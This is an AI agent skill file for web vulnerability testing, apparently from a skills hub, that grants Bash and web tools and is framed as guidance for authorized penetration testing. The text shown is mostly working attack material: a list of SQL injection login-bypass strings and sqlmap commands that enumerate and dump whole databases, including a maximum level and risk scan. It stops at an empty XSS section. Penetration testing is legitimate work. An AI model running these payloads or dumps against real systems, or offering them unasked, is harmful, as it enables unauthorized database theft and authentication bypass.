# web-vulnerability-testing
> Comprehensive web application vulnerability testing techniques including SQLi, XSS, LFI, RFI, and authentication bypass
- Author: radicalkjax
- Repository: goldenapplestudios/Clicky
- Version: 20251126203836
- Stars: 0
- Forks: 0
- Last Updated: 2026-02-08
- Source: https://github.com/goldenapplestudios/Clicky
- Web: https://mule.run/skillshub/@@goldenapplestudios/Clicky~web-vulnerability-testing:20251126203836
---
---
name: web-vulnerability-testing
description: Comprehensive web application vulnerability testing techniques including SQLi, XSS, LFI, RFI, and authentication bypass
allowed-tools: Bash, Read, Write, WebFetch
---
# Web Vulnerability Testing Skill
## Purpose
This skill provides systematic approaches for identifying and exploiting common web application vulnerabilities during authorized penetration testing.
## SQL Injection Testing
### Manual Detection
```bash
# Basic SQLi test strings
' OR '1'='1
' OR 1=1--
' OR 1=1#
' OR 1=1/*
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
```
### SQLMap Automation
```bash
# Basic scan
sqlmap -u "http://{target}/page.php?id=1" --batch --banner
# Post request
sqlmap -u "http://{target}/login.php" --data="username=admin&password=test" --batch
# Full enumeration
sqlmap -u "http://{target}/page.php?id=1" --batch --dbs --tables --columns --dump
# With cookie
sqlmap -u "http://{target}/page.php?id=1" --cookie="PHPSESSID=abc123" --batch
# Aggressive testing
sqlmap -u "http://{target}/page.php?id=1" --level=5 --risk=3 --batch
```
## Cross-Site Scripting (XSS)
### Reflected XSS Payloads
```javascript
